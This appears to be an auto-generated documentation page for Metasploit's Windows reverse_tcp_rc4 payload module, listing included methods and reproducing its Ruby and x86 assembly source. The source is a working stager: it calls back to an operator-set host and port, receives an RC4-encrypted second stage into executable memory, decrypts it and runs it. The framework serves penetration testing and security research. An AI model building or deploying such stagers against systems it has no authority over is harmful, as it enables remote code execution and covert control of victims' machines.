Module: Msf::Payload::Windows::ReverseTcpRc4

Includes:
TransportConfig, Rc4, ReverseTcp
Included in:
ReverseTcpRc4Dns
Defined in:
lib/msf/core/payload/windows/reverse_tcp_rc4.rb

Overview

Complex reverse_tcp_rc4 payload generation for Windows ARCH_X86

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Rc4

#asm_decrypt_rc4, #generate_stage, #handle_intermediate_stage, #initialize

Methods included from ReverseTcp

#asm_block_recv, #asm_reverse_tcp, #generate_reverse_tcp, #include_send_uuid, #initialize, #required_space, #transport_config

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #initialize, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_block_recv_rc4(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Integer)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool)

    Whether or not to enable error handling code



63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
# File 'lib/msf/core/payload/windows/reverse_tcp_rc4.rb', line 63

def asm_block_recv_rc4(opts={})
  xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp
  reliable     = opts[:reliable]
  asm = %Q^
    recv:
      ; Receive the size of the incoming second stage...
      push 0                  ; flags
      push 4                  ; length = sizeof( DWORD );
      push esi                ; the 4 byte buffer on the stack to hold the second stage length
      push edi                ; the saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call ebp                ; recv( s, &dwLength, 4, 0 );
  ^

  if reliable
    asm << %Q^
      ; reliability: check to see if the recv worked, and reconnect
      ; if it fails
      cmp eax, 0
      jle cleanup_socket
    ^
  end

  asm << %Q^
    ; Alloc a RWX buffer for the second stage
      mov esi, [esi]         ; dereference the pointer to the second stage length
        xor esi, #{xorkey}   ; XOR the stage length
        lea ecx, [esi+0x100]  ; ECX = stage length + S-box length (alloc length)
      push  0x40         ; PAGE_EXECUTE_READWRITE
      push 0x1000            ; MEM_COMMIT
    ; push esi               ; push the newly recieved second stage length.
        push ecx             ; push the alloc length
      push 0                 ; NULL as we dont care where the allocation is.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    ; Receive the second stage and execute it...
    ; xchg ebx, eax          ; ebx = our new memory address for the new stage + S-box
        lea ebx, [eax+0x100] ; EBX = new stage address
      push ebx               ; push the address of the new stage so we can return into it
        push esi             ; push stage length
        push eax             ; push the address of the S-box
    read_more:               ;
      push  0                ; flags
      push esi               ; length
      push ebx               ; the current address into our second stage's RWX buffer
      push edi               ; the saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call ebp               ; recv( s, buffer, length, 0 );
  ^

  if reliable
    asm << %Q^
      ; reliability: check to see if the recv worked, and reconnect
      ; if it fails
      cmp eax, 0
      jge read_successful

      ; something failed, free up memory
      pop eax                 ; get the address of the payload
      push 0x4000             ; dwFreeType (MEM_DECOMMIT)
      push 0                  ; dwSize
      push eax                ; lpAddress
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call ebp                ; VirtualFree(payload, 0, MEM_DECOMMIT)

    cleanup_socket:
      ; clear up the socket
      push edi                ; socket handle
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
      call ebp                ; closesocket(socket)

      ; restore the stack back to the connection retry count
      pop esi
      pop esi
      dec [esp]               ; decrement the counter

      ; try again
      jnz create_socket
      jmp failure
    ^
  end

  asm << %Q^
    read_successful:
      add ebx, eax           ; buffer += bytes_received
      sub esi, eax           ; length -= bytes_received
    ; test esi, esi          ; test length
      jnz read_more          ; continue if we have more to read
        pop ebx              ; address of S-box
        pop ecx              ; stage length
        pop ebp              ; address of stage
        push ebp             ; push back so we can return into it
        push edi             ; save socket
        mov edi, ebx         ; address of S-box
        call after_key       ; Call after_key, this pushes the address of the key onto the stack.
        db #{raw_to_db(opts[:rc4key])}
    after_key:
      pop esi                ; ESI = RC4 key
    #{asm_decrypt_rc4}
      pop edi              ; restore socket
    ret                    ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# File 'lib/msf/core/payload/windows/reverse_tcp_rc4.rb', line 20

def generate(_opts = {})
  xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
  conf = {
    port:        datastore['LPORT'],
    host:        datastore['LHOST'],
    retry_count: datastore['ReverseConnectRetries'],
    xorkey:      xorkey,
    rc4key:      rc4key,
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_tcp_rc4(conf)
end

#generate_reverse_tcp_rc4(opts = {}) ⇒ Object

Generate and compile the stager



43
44
45
46
47
48
49
50
51
52
53
54
# File 'lib/msf/core/payload/windows/reverse_tcp_rc4.rb', line 43

def generate_reverse_tcp_rc4(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_reverse_tcp(opts)}
    #{asm_block_recv_rc4(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end